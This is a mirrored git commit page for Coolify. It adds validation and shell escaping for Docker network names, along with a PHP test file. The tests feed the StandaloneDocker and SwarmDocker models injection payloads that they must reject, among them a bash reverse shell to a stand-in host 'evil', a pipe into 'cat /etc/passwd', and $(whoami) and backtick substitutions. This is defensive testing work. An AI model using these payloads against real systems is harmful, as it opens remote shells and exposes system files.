mirror of
https://github.com/tiennm99/coolify.git
synced 2026-06-22 09:36:43 +00:00
fix: add validation and escaping for Docker network names
Add strict validation for Docker network names using a regex pattern that matches Docker's naming rules (alphanumeric start, followed by alphanumeric, dots, hyphens, underscores). Changes: - Add DOCKER_NETWORK_PATTERN to ValidationPatterns with helper methods - Validate network field in Destination creation and update Livewire components - Add setNetworkAttribute mutator on StandaloneDocker and SwarmDocker models - Apply escapeshellarg() to all network field usages in shell commands across ApplicationDeploymentJob, DatabaseBackupJob, StartService, Init command, proxy helpers, and Destination/Show - Add comprehensive tests for pattern validation and model mutator Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\SwarmDocker;
|
||||
|
||||
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'space injection' => 'net work',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('StandaloneDocker accepts valid network names', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'alphanumeric' => 'network123',
|
||||
]);
|
||||
|
||||
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('SwarmDocker accepts valid network names', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
]);
|
||||
Reference in New Issue
Block a user